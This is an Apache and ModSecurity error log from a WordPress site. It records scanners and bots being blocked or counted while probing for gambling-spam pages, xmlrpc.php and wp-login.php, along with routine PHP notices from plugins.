[Wed Mar 18 19:33:22.038748 2026] [:error] [pid 53755:tid 53764] [client 147.135.213.218:53276] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "abqNgqqw5ZSRshmIhWkVEAAAAUc"]
[Wed Mar 18 19:33:24.750865 2026] [:error] [pid 31232:tid 31240] [client 147.135.213.218:51634] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "abqNhGX6HV7dqh3BQD3ZWAAAAEU"]
[Wed Mar 18 19:33:27.841489 2026] [:error] [pid 42871:tid 42917] [client 147.135.213.218:51636] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "abqNh2PUS0lM1M9nUaJTzwAAAIM"]
[Wed Mar 18 19:33:30.367573 2026] [:error] [pid 42970:tid 42993] [client 147.135.213.218:51640] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "abqNio5YFUj4vBJI0KQwQgAAANU"]
[Wed Mar 18 19:33:32.962272 2026] [:error] [pid 53755:tid 53769] [client 147.135.213.218:47980] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "abqNjKqw5ZSRshmIhWkVHgAAAUw"]
[Wed Mar 18 19:33:35.540154 2026] [:error] [pid 31232:tid 31241] [client 147.135.213.218:47988] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "abqNj2X6HV7dqh3BQD3ZcAAAAEY"]
[Wed Mar 18 19:33:38.269069 2026] [:error] [pid 53755:tid 53779] [client 147.135.213.218:47990] [client 147.135.213.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "abqNkqqw5ZSRshmIhWkVMgAAAVY"]
[Wed Mar 18 21:05:51.288199 2026] [:error] [pid 42870:tid 42885] [client 20.120.18.145:49915] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "abqjL56axlAooiuYyUw3xAAAAAA"]
[Wed Mar 18 21:05:57.115143 2026] [:error] [pid 42872:tid 42942] [client 20.120.18.145:49739] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "abqjNTchM8PQMaMEWJnFrQAAAcE"]
[Wed Mar 18 21:05:58.371534 2026] [:error] [pid 53755:tid 53772] [client 20.120.18.145:49741] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "abqjNqqw5ZSRshmIhWlKRgAAAU8"]
[Wed Mar 18 21:06:01.774841 2026] [:error] [pid 42871:tid 42916] [client 20.120.18.145:49435] [client 20.120.18.145] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/404.php"] [unique_id "abqjOWPUS0lM1M9nUaJv-AAAAII"]
[Wed Mar 18 23:23:26.715135 2026] [:error] [pid 53755:tid 53776] [client 54.37.252.119:50094] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "abrDbqqw5ZSRshmIhWmU3gAAAVM"]
[Wed Mar 18 23:23:31.004836 2026] [:error] [pid 20667:tid 20675] [client 54.37.252.119:50100] [client 54.37.252.119] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/robots.txt"] [unique_id "abrDc5gyfQyvBhzza_2hYgAAAYY"]
[Wed Mar 18 23:30:00.889055 2026] [:error] [pid 31232:tid 31252] [client 106.51.168.190:31166] [client 106.51.168.190] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.51.168.190, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abrE-GX6HV7dqh3BQD1BoAAAAFE"]
[Wed Mar 18 23:46:55.086319 2026] [:error] [pid 20667:tid 20689] [client 223.244.35.77:34350] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abrI75gyfQyvBhzza_2lgwAAAZQ"]
[Thu Mar 19 06:31:04.779145 2026] [:error] [pid 3278:tid 3302] [client 31.171.130.13:42677] [client 31.171.130.13] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 31.171.130.13, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "absnqAC2T_lM6ZgvfcQ0sgAAARU"]
[Thu Mar 19 06:37:05.688349 2026] [:error] [pid 31447:tid 31474] [client 91.99.185.80:44756] [client 91.99.185.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abspERmVNRDSLnGvghg4oAAAAhM"]
[Thu Mar 19 06:37:05.716756 2026] [:error] [pid 31447:tid 31477] [client 91.99.185.80:44768] [client 91.99.185.80] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abspERmVNRDSLnGvghg4oQAAAhY"]
[Thu Mar 19 08:38:29.499742 2026] [:error] [pid 31447:tid 31469] [client 193.19.109.4:57639] [client 193.19.109.4] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.19.109.4, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "abtFhRmVNRDSLnGvghhfaQAAAg4"]
[Thu Mar 19 12:42:23.666152 2026] [proxy_fcgi:error] [pid 23882:tid 23916] [client 103.4.122.14:42886] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Mar 19 12:42:41.587978 2026] [proxy_fcgi:error] [pid 31205:tid 31232] [client 103.4.122.14:42950] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Mar 19 12:42:59.687546 2026] [proxy_fcgi:error] [pid 24925:tid 24949] [client 103.4.122.14:43022] AH01071: Got error 'PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Trying to get property 'version' of non-object in /home/vetstars/public_html/wp-content/plugins/wp-fastest-cache-premium/pro/library/update.php on line 132PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140PHP message: PHP Notice:  Undefined index: wp_update_data in /home/vetstars/public_html/wp-content/plugins/ithemes-security-pro/lib/updater/updates.php on line 140'
[Thu Mar 19 12:54:13.898677 2026] [:error] [pid 31205:tid 31237] [client 154.16.49.101:6747] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abuBdVu5gZKGrGz5P1GnvgAAAVQ"]
[Thu Mar 19 12:54:14.392231 2026] [:error] [pid 31205:tid 31221] [client 154.16.49.101:6936] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/ID3/license.txt"] [unique_id "abuBdlu5gZKGrGz5P1Gn3QAAAUU"]
[Thu Mar 19 12:54:14.885627 2026] [:error] [pid 25135:tid 25138] [client 154.16.49.101:7131] [client 154.16.49.101] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/feed/"] [unique_id "abuBdqKtE0dzgMctjFXtkAAAA0E"]
[Thu Mar 19 13:40:18.528557 2026] [:error] [pid 31205:tid 31216] [client 65.108.78.33:2832] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "abuMQlu5gZKGrGz5P1G4ZQAAAUA"]
[Thu Mar 19 13:40:20.954510 2026] [:error] [pid 23882:tid 23919] [client 65.108.78.33:2846] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "abuMRLWnClbtbN12M7-zfgAAABE"]
[Thu Mar 19 13:40:23.414857 2026] [:error] [pid 25269:tid 25293] [client 65.108.78.33:19316] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "abuMR8U9ntriqNcU-b7P2QAAA9U"]
[Thu Mar 19 13:40:26.131878 2026] [:error] [pid 23882:tid 23921] [client 65.108.78.33:19322] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "abuMSrWnClbtbN12M7-zmQAAABM"]
[Thu Mar 19 13:40:28.547381 2026] [:error] [pid 31205:tid 31241] [client 65.108.78.33:19324] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "abuMTFu5gZKGrGz5P1G4dgAAAVg"]
[Thu Mar 19 13:40:31.116578 2026] [:error] [pid 23883:tid 23940] [client 65.108.78.33:19338] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "abuMT9Ni-EnEAH4abz227QAAAEs"]
[Thu Mar 19 13:40:33.666614 2026] [:error] [pid 24925:tid 24930] [client 65.108.78.33:50854] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "abuMUfUZEHbnUgjEbWNvwAAAAYE"]
[Thu Mar 19 13:40:36.198783 2026] [:error] [pid 23882:tid 23906] [client 65.108.78.33:50864] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "abuMVLWnClbtbN12M7-zpQAAAAQ"]
[Thu Mar 19 13:40:38.733351 2026] [:error] [pid 23882:tid 23923] [client 65.108.78.33:50866] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "abuMVrWnClbtbN12M7-zrgAAABU"]
[Thu Mar 19 13:40:41.210011 2026] [:error] [pid 24925:tid 24934] [client 65.108.78.33:50878] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "abuMWfUZEHbnUgjEbWNv3wAAAYU"]
[Thu Mar 19 13:40:43.625250 2026] [:error] [pid 25135:tid 25161] [client 65.108.78.33:3728] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "abuMW6KtE0dzgMctjFUDgQAAA1g"]
[Thu Mar 19 13:40:46.080478 2026] [:error] [pid 31205:tid 31216] [client 65.108.78.33:3736] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "abuMXlu5gZKGrGz5P1G4iwAAAUA"]
[Thu Mar 19 13:40:48.878615 2026] [:error] [pid 25135:tid 25144] [client 65.108.78.33:3738] [client 65.108.78.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "abuMYKKtE0dzgMctjFUDlQAAA0c"]
[Thu Mar 19 13:57:20.328563 2026] [:error] [pid 11016:tid 11087] [client 183.207.45.97:51984] [client 183.207.45.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 183.207.45.97, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "abuQQBPK94J9G19C6uXK5AAAAQ4"]
[Thu Mar 19 14:20:16.784865 2026] [:error] [pid 11015:tid 11063] [client 43.166.136.153:54776] [client 43.166.136.153] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "abuVoPPcMwFQZAVfzLQLbgAAAJE"]
[Thu Mar 19 17:08:32.091738 2026] [:error] [pid 48106:tid 48121] [client 170.106.73.216:44076] [client 170.106.73.216] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "abu9EMVZaUGvkz29lZH84wAAAMc"]
[Thu Mar 19 17:16:00.159629 2026] [:error] [pid 51091:tid 51132] [client 54.37.252.130:44924] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "abu-0L7LZKhdJPD9CBuueAAAAVU"]
[Thu Mar 19 17:16:02.483915 2026] [:error] [pid 11110:tid 11124] [client 54.37.252.130:49724] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "abu-0gSNPqGfikw7k8KH6gAAAAk"]
[Thu Mar 19 17:16:05.235727 2026] [:error] [pid 1285:tid 1304] [client 54.37.252.130:49726] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "abu-1VE95r3zR75X1HrNvAAAAhE"]
[Thu Mar 19 17:16:07.627247 2026] [:error] [pid 1285:tid 1300] [client 54.37.252.130:49742] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "abu-11E95r3zR75X1HrNxQAAAg0"]
[Thu Mar 19 17:16:10.140127 2026] [:error] [pid 1247:tid 1271] [client 54.37.252.130:37804] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "abu-2g5tmeOr-yI4XNF9bAAAAdY"]
[Thu Mar 19 17:16:12.690665 2026] [:error] [pid 1247:tid 1253] [client 54.37.252.130:37806] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "abu-3A5tmeOr-yI4XNF9dQAAAcQ"]
[Thu Mar 19 17:16:15.226626 2026] [:error] [pid 11110:tid 11127] [client 54.37.252.130:37814] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "abu-3wSNPqGfikw7k8KH9AAAAAw"]
[Thu Mar 19 17:16:17.612582 2026] [:error] [pid 1285:tid 1303] [client 54.37.252.130:37826] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "abu-4VE95r3zR75X1HrN4gAAAhA"]
[Thu Mar 19 17:16:20.138687 2026] [:error] [pid 51091:tid 51121] [client 54.37.252.130:38914] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "abu-5L7LZKhdJPD9CBuufQAAAUo"]
[Thu Mar 19 17:16:22.659887 2026] [:error] [pid 1441:tid 1461] [client 54.37.252.130:38930] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "abu-5of6BGzjfVNuehUQNgAAAxE"]
[Thu Mar 19 17:16:25.191062 2026] [:error] [pid 11016:tid 11073] [client 54.37.252.130:38946] [client 54.37.252.130] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "abu-6RPK94J9G19C6uVD9gAAAQA"]
